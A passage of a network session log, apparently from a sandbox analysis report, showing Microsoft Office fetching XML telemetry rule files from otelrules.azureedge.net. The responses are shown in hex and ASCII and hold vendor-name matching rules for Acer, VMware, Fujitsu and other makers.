17	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:12 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 226d2935-b01e-001e-729c-270214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165912Z-r197bdfb6b47gqdjvmbpfaf2d000000001z000000000ggh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165913Z-r197bdfb6b48pcqqxhenwd2uz800000007rg000000005a8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165913Z-16849878b7898p5f6vryaqvp5800000007r00000000043nf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165913Z-16849878b78x6gn56mgecg60qc00000008q0000000005t5g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165913Z-16849878b78g2m84h2v9sta29000000005q000000000k3te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165913Z-16849878b7898p5f6vryaqvp5800000007h000000000uz73 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165914Z-16849878b78qg9mlz11wgn0wcc00000006c000000000fu1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8d7929b6-101e-0017-6edc-2647c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165914Z-17c5cb586f62blg5ss55p9d6fn00000007g000000000amww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f99c795-b01e-0097-3bfd-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165914Z-15b8d89586fvpb59307bn2rcac000000021g0000000026yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165914Z-16849878b787bfsh7zgp804my400000005hg00000000p843 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:14 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:14 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ef4969e5-401e-002a-2c3c-28c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165914Z-15b8d89586fxdh48ft0acdbg4400000000r0000000001cqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:14 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:15 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:15 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ea438a18-a01e-0053-68ef-258603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165915Z-r197bdfb6b4gx6v9pg74w9f47s00000008vg000000008h46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:15 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data 